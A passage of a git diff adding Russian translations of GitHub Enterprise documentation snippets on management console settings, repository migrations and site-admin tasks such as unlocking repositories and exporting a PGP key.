b/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-license.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c45d7e3eb6e721943424474bccf904ce4ef4f7a0 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884982" +--- +Если на боковой панели нет элемента **{% data variables.product.prodname_advanced_security %}** , значит ваша лицензия не включает поддержку функций {% data variables.product.prodname_advanced_security %}, в том числе {% data variables.product.prodname_code_scanning %} и {% data variables.product.prodname_secret_scanning %}. Лицензия {% data variables.product.prodname_advanced_security %} дает вам и вашим пользователям доступ к функциям, которые помогают повысить безопасность репозиториев и кода. Дополнительные сведения см. в разделе [Сведения о GitHub Advanced Security](/github/getting-started-with-github/about-github-advanced-security) или обратитесь в {% data variables.contact.contact_enterprise_sales %}. diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-tab.md b/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-tab.md new file mode 100644 index 000000000000..a8d5d746f716 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dfc6eb2056ac19368376fd842a4fc04895c312aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061869" +--- +1. На левой боковой панели щелкните **Безопасность**. +![Боковая панель безопасности](/assets/images/enterprise/3.2/management-console/sidebar-security.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/authentication-password.md b/translations/ru-RU/data/reusables/enterprise_management_console/authentication-password.md new file mode 100644 index 000000000000..9159534d4cd8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/authentication-password.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5770dd07c91210b438252a1c90f9ddff2c216c15 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111384" +--- +В поле "Пароль для проверки подлинности" введите пароль для проверки подлинности. diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/authentication-protocol.md b/translations/ru-RU/data/reusables/enterprise_management_console/authentication-protocol.md new file mode 100644 index 000000000000..0b84a979b904 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/authentication-protocol.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6f4d3d27c3592e6e4e3b45d1305669ef26e5fe97 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123643" +--- +В правой части окна "Пароль для проверки подлинности" в раскрывающемся меню **Протокол** выберите нужный протокол для проверки подлинности. diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/authentication.md b/translations/ru-RU/data/reusables/enterprise_management_console/authentication.md new file mode 100644 index 000000000000..c5377f48173a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/authentication.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 643ec5cdbce90d20c74e58b97b6d70078f274f82 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111376" +--- +1. На левой боковой панели щелкните **Проверка подлинности**. +![Вкладка "Проверка подлинности" на боковой панели параметров](/assets/images/enterprise/management-console/sidebar-authentication.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/badge_indicator.md b/translations/ru-RU/data/reusables/enterprise_management_console/badge_indicator.md new file mode 100644 index 000000000000..e643a9d5bd8b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/badge_indicator.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 47ce87910c48ca32b1aeb4eaf3a95028ce13d4b8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123640" +--- +Команда, которая [синхронизирована с группой LDAP](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync), обозначается специальным значком LDAP. Список членов для синхронизированной с LDAP команды можно управлять только из группы LDAP, с которой она сопоставлена. diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/enable-disable-security-features.md b/translations/ru-RU/data/reusables/enterprise_management_console/enable-disable-security-features.md new file mode 100644 index 000000000000..ef1de20c463b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/enable-disable-security-features.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 232a9cb434a48f115e20871785411b2d4f347fb0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111371" +--- +{% warning %} + +**Предупреждение**. Изменение этого параметра приведет к перезапуску служб для пользователей в {% data variables.product.prodname_ghe_server %}. Следует тщательно выбрать время для этого изменения, чтобы свести к минимуму время простоя для пользователей. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/enable-snmp.md b/translations/ru-RU/data/reusables/enterprise_management_console/enable-snmp.md new file mode 100644 index 000000000000..c194dae12300 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/enable-snmp.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5ea8a4178da32641edd99b1b7d14a7562faceb55 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123635" +--- +1. В разделе "Мониторинг" выберите **Включить SNMP**. +![Кнопка для включения SNMP](/assets/images/enterprise/management-console/enable-snmp.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/hostname-menu-item.md b/translations/ru-RU/data/reusables/enterprise_management_console/hostname-menu-item.md new file mode 100644 index 000000000000..9ec87d256275 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/hostname-menu-item.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: da651fc3a47d15b4cd45a1fa0e5875033a94ddd3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111368" +--- +3. На боковой панели слева нажмите **Имя узла**. + ![Вкладка "Имя узла" на боковой панели параметров](/assets/images/enterprise/management-console/hostname-sidebar.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/pages-tab.md b/translations/ru-RU/data/reusables/enterprise_management_console/pages-tab.md new file mode 100644 index 000000000000..3f55b67a1e8f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/pages-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dd5859c8947d58250403800a0be8638676c0d729 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123619" +--- +1. На левой боковой панели нажмите **Страницы**. +![Боковая панель страниц](/assets/images/enterprise/management-console/sidebar-pages.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/privacy.md b/translations/ru-RU/data/reusables/enterprise_management_console/privacy.md new file mode 100644 index 000000000000..e68b9b654834 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/privacy.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a053692e7dcfaef2dddfbf75a60562cbeab37945 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884934" +--- +1. На боковой панели слева нажмите **Проекты**. +![Вкладка "Проекты" на боковой панели параметров](/assets/images/enterprise/management-console/sidebar-privacy.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/save-settings.md b/translations/ru-RU/data/reusables/enterprise_management_console/save-settings.md new file mode 100644 index 000000000000..d6d275d58f65 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/save-settings.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 8a51aa2f73c24c78b7f21f78a346195bf168b5e3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123611" +--- +1. Нажмите кнопку **Сохранить параметры** под левой боковой панелью. + + ![Снимок экрана кнопки сохранения параметров в {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png) + + {% note %} + + **Примечание.** Сохранение параметров в {% data variables.enterprise.management_console %} перезапускает системные службы, что может привести к простою, заметному для пользователей. + + {% endnote %} + +{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/select-tls-only.md b/translations/ru-RU/data/reusables/enterprise_management_console/select-tls-only.md new file mode 100644 index 000000000000..8b3eb8ad3fa3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/select-tls-only.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 1e17e74f1f1674786ecc7e44a4e8fc46fd11c54a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881638" +--- +1. Выберите **Только TLS (рекомендуется)** . + ![Флажок для выбора только TLS](/assets/images/enterprise/management-console/tls-only.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/support-link.md b/translations/ru-RU/data/reusables/enterprise_management_console/support-link.md new file mode 100644 index 000000000000..49ec24adf757 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/support-link.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 96a4e234d7baf6821da1525b4bac8e1f51715367 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123608" +--- +4. В правом верхнем углу {% data variables.enterprise.management_console %} нажмите **Поддержка**. + ![Кнопка для доступа к области поддержки](/assets/images/enterprise/management-console/support-link.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/test-domain-settings-failure.md b/translations/ru-RU/data/reusables/enterprise_management_console/test-domain-settings-failure.md new file mode 100644 index 000000000000..8721a9db7477 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/test-domain-settings-failure.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 550156b650dd178552dcc342c1246a1e11ab2465 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332187" +--- +1. Если рядом с некоторыми элементами не стоит зеленая галочка, проверьте настройку соответствующих параметров. Дополнительные сведения см. в статье [Настройка серверов имен DNS](/enterprise/admin/guides/installation/configuring-dns-nameservers/). +![Таблица с состоянием конфигураций DNS и SSL](/assets/images/enterprise/management-console/domain-dns-ssl-settings-check.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/test-storage-button.md b/translations/ru-RU/data/reusables/enterprise_management_console/test-storage-button.md new file mode 100644 index 000000000000..3c35de2da628 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/test-storage-button.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 858e3aad4a0ffb2854dbf6dbebfb00a19876d714 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109359" +--- +1. Нажмите кнопку **"Проверить параметры хранилища** ", чтобы проверить параметры хранилища. + + Если возникают ошибки проверки параметров хранилища, проверьте параметры у поставщика хранилища и повторите попытку. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/type-management-console-password.md b/translations/ru-RU/data/reusables/enterprise_management_console/type-management-console-password.md new file mode 100644 index 000000000000..cc365c29ac42 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/type-management-console-password.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ca83bd1290900c48311e15c8ed990ca00bcc0971 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123592" +--- +1. При появлении запроса введите пароль {% data variables.enterprise.management_console %}. + ![Экран разблокировки {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/unlock-password.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md b/translations/ru-RU/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md new file mode 100644 index 000000000000..5d1b7977affe --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 88d76852d3e379e556b364b31199800e73ecd0c7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109360" +--- +Чтобы немедленно разблокировать {% data variables.enterprise.management_console %}, используйте команду `ghe-reactivate-admin-login` в административной оболочке. Дополнительные сведения см. в разделах [Служебные программы командной строки](/enterprise/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login) и [Доступ к административной оболочке (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/updates-tab.md b/translations/ru-RU/data/reusables/enterprise_management_console/updates-tab.md new file mode 100644 index 000000000000..c8a61968e5b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/updates-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5aa89f2e6813e84457bca8a8f3693ffd1aea713c +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879229" +--- +1. В верхней части {% data variables.enterprise.management_console %} щелкните **Обновления**. +![Элемент меню "Обновления"](/assets/images/enterprise/management-console/updates_tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/exclude-file-attachments.md b/translations/ru-RU/data/reusables/enterprise_migrations/exclude-file-attachments.md new file mode 100644 index 000000000000..0faf3639a44b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/exclude-file-attachments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7efd71d10240161a556013bd76a9d5d6b3ad9211 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123587" +--- +Вложения файлов могут быть большими и могут без необходимости увеличить размер окончательного архива миграции. diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/fork-persistence.md b/translations/ru-RU/data/reusables/enterprise_migrations/fork-persistence.md new file mode 100644 index 000000000000..c4320fef8168 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/fork-persistence.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2662278ffa5c4200738a4e9fedff2f6d856b2cb1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111320" +--- +{% tip %} + +**Примечание.** Связи вилки не сохраняются после миграции. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/locking-repositories.md b/translations/ru-RU/data/reusables/enterprise_migrations/locking-repositories.md new file mode 100644 index 000000000000..4b842a0a064b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/locking-repositories.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 1254cbeb3ee84e625e46ebc13be30336fd60a41d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123579" +--- +{% tip %} + +**Примечание.** Блокировка репозитория полностью закрывает возможность записи данный в репозиторий. Связать новые команды или участников совместной работы с заблокированным репозиторием невозможно. + +Если вы выполняете пробный запуск, блокировать репозиторий не нужно. При переносе данных из используемого репозитория {% data variables.product.company_short %} настоятельно рекомендует блокировать репозиторий. Дополнительные сведения см. в статье об [Сведения о миграции](/enterprise/admin/migrations/about-migrations#types-of-migrations). +{% endtip %} diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/make-a-list.md b/translations/ru-RU/data/reusables/enterprise_migrations/make-a-list.md new file mode 100644 index 000000000000..14881ae5bb92 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/make-a-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 687916ec79cfe8fcb94582b389a32ee165828256 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882178" +--- +1. Чтобы свести к минимуму время простоя, создайте список репозиториев, которые необходимо экспортировать из исходного экземпляра. Можно добавить сразу несколько репозиториев для экспорта с помощью текстового файла, в котором указаны URL-адреса каждого репозитория в отдельной строке. diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/ready-to-import-migrations.md b/translations/ru-RU/data/reusables/enterprise_migrations/ready-to-import-migrations.md new file mode 100644 index 000000000000..22ac1c684905 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/ready-to-import-migrations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6adf1d17e7af647a97d0408676555f4da587d408 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882990" +--- +1. Сведения о подготовке архивных данных миграции для импорта в экземпляр {% data variables.product.prodname_ghe_server %} см. в разделе [Подготовка к переносу данных в организацию](/enterprise/admin/user-management/preparing-to-migrate-data-to-your-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/review-the-import-csv.md b/translations/ru-RU/data/reusables/enterprise_migrations/review-the-import-csv.md new file mode 100644 index 000000000000..b88a2309191d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/review-the-import-csv.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 52ba84fdbfdaa4150aff2b1e1bba858bf1ab7d41 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111312" +--- +1. Просмотрите файл с разделителями-запятыми (CSV) в `/PATH/REPO-NAME.git/git-import/raw-authors.csv`. Он должен содержать следующие столбцы: + - `ID` — автор, сохраненный в исходном репозитории, и уникальный идентификатор; + - `NAME` — автор, сохраненный в исходном репозитории. + + Чтобы сопоставить авторов из исходного репозитория с адресом электронной почты и именем, создайте новый CSV-файл со столбцами `ID,(ignored),GIT_EMAIL,GIT_NAME`, в которых сведения об авторах заменены по ID на GIT_EMAIL и GIT_NAME. + + #### Пример. + + - Исходный идентификатор автора: `octocat@111111-2222-3333-4444-55555555555` + - Новый адрес электронной почты: `octocat@github.com` + - Новое имя: `The Octocat` + + Для сопоставления исходного автора с новым пользователем GIT CSV-файл должен содержать следующую строку: + + `octocat@111111-2222-3333-4444-55555555555, ,octocat@github.com,The Octocat` diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/specify-staging-path.md b/translations/ru-RU/data/reusables/enterprise_migrations/specify-staging-path.md new file mode 100644 index 000000000000..f88c4c0fcfdd --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/specify-staging-path.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b028e6d08c2089d0a3bbbd1094384a2f1570cc94 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123563" +--- +Чтобы указать, где следует выполнить подготовку файлов миграции, добавьте команду с `--staging-path=/full/staging/path`. По умолчанию — `/data/user/tmp`. diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/token-generation.md b/translations/ru-RU/data/reusables/enterprise_migrations/token-generation.md new file mode 100644 index 000000000000..dcc2303f446d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/token-generation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 81c4b3d1b2f259aab9fd17a9caa5269b393863f8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111304" +--- +[Создание маркера доступа](/enterprise/user/articles/creating-an-access-token-for-command-line-use/) с областями `repo` и `admin:org` diff --git a/translations/ru-RU/data/reusables/enterprise_migrations/unlocking-on-instances.md b/translations/ru-RU/data/reusables/enterprise_migrations/unlocking-on-instances.md new file mode 100644 index 000000000000..78d4b9e12de3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_migrations/unlocking-on-instances.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bca045d426382da6dd8b62890b5c2d0ef1658858 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008926" +--- +1. Разблокируйте все импортированные репозитории с помощью команды `ghe-migrator unlock`. Вам потребуется GUID миграции: +```shell +$ ghe-migrator unlock -g MIGRATION-GUID +> Unlocked octo-org/octo-project +``` diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-ssh-access.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-ssh-access.md new file mode 100644 index 000000000000..d8547cdc8572 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-ssh-access.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 27856a5cdd0df1a4f322badb1bab19098a09c101 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882806" +--- +Доступ по протоколу SSH позволяет запускать служебные программы командной строки {% data variables.product.product_name %} для устранения неполадок, запуска резервных копий и настройки репликации. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-management-console.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-management-console.md new file mode 100644 index 000000000000..b68bef5a9612 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-management-console.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1c9e050d8069ae50b62fb6021b8c8fd60d78c67d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111283" +--- +Вы можете использовать {% data variables.enterprise.management_console %} для управления параметрами виртуального устройства, такими как домен, проверка подлинности и SSL. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md new file mode 100644 index 000000000000..67176783c46e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 38b965c859a7c9966d5f3c8948f98838e096a3d7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111264" +--- +Панель мониторинга администрирования сайта позволяет управлять пользователями, организациями и репозиториями организации непосредственно в {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/access-settings.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/access-settings.md new file mode 100644 index 000000000000..04672782c715 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/access-settings.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 72fd1a6e5cca7fb07e2d908801041edd659f179e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111259" +--- +1. Из учетной записи администратора на {% data variables.product.product_name %} в правом верхнем углу любой страницы щелкните {% octicon "rocket" aria-label="The rocket ship" %}. + + ![Снимок экрана: значок ракетного корабля для доступа к параметрам администратора сайта](/assets/images/enterprise/site-admin-settings/access-new-settings.png) + +1. Если вы еще не на странице "Администратор сайта", в левом верхнем углу щелкните **Администратор сайта**. + + ![Снимок экрана: ссылка "Администратор сайта"](/assets/images/enterprise/site-admin-settings/site-admin-link.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md new file mode 100644 index 000000000000..2f3b7ba09688 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 632a3ac2c6b2d5d074ef3b1db598ed57a89195c5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147369252" +--- +1. Выполните следующую команду, заменив KEY-ID идентификатором ключа PGP. + + ```bash{:copy} + gpg --armor --export KEY-ID + ``` +1. Скопируйте ключ PGP, начиная с `-----BEGIN PGP PUBLIC KEY BLOCK-----` и заканчивая `-----END PGP PUBLIC KEY BLOCK-----`. +1. Войдите в {% data variables.product.prodname_ghe_server %} в качестве пользователя `web-flow`. +1. Добавьте открытый ключ PGP в профиль пользователя. Дополнительные сведения см. в статье "[Добавление ключа GPG в учетную запись {% data variables.product.prodname_dotcom %}](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account)". + + {% note %} + + **Примечание.** Не удаляйте другие открытые ключи из списка ключей GPG. Если открытый ключ удален, все фиксации, подписанные соответствующим закрытым ключом, больше не будут помечены как проверенные. + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-tab.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-tab.md new file mode 100644 index 000000000000..81224e0c323b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e6aa444d417bb5dc50d42f2b387425d432968cb4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111251" +--- +1. На боковой панели слева выберите **Администратор**. ![Средства администрирования](/assets/images/enterprise/site-admin-settings/user/user-admin-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-top-tab.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-top-tab.md new file mode 100644 index 000000000000..bbe64193c4ad --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/admin-top-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 93cfb57b7c97384f84ea904849852700975a46aa +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884537" +--- +1. В правом верхнем углу страницы щелкните {% octicon "gear" %} **Администрирование**. ![Средства администрирования](/assets/images/enterprise/site-admin-settings/user/user-admin-tab-top.png) diff --git a/translations/ru-RU/data/reusables/enterprise_site_admin_settings/business.md b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/business.md new file mode 100644 index 000000000000..90f3720ab72a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_site_admin_settings/business.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 63978832a5a5c96b9be6eb227aa8c482bc983ed1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111235" +--- +1. На боковой панели слева щелкните **Организация{% 